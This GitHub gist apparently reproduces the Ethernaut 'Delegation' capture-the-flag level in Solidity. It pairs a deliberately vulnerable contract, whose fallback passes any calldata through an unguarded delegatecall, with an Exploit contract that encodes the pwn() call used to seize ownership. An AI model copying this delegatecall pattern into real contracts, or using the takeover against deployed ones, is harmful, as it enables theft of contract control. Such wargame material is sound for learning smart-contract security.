Created
September 14, 2022 16:25
-
-
Save casweeney/b026c71fbf46790e7b8d819b4918dcfe to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.4; | |
| contract Delegate { | |
| address public owner; | |
| constructor(address _owner) { | |
| owner = _owner; | |
| } | |
| function pwn() public { | |
| owner = msg.sender; | |
| } | |
| } | |
| contract Delegation { | |
| address public owner; | |
| Delegate delegate; | |
| constructor(address _delegateAddress) { | |
| delegate = Delegate(_delegateAddress); | |
| owner = msg.sender; | |
| } | |
| fallback() external { | |
| (bool result,) = address(delegate).delegatecall(msg.data); | |
| if (result) { | |
| this; | |
| } | |
| } | |
| } | |
| contract Exploit { | |
| function getSignature() public pure returns (bytes memory) { | |
| return abi.encodeWithSignature("pwn()"); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment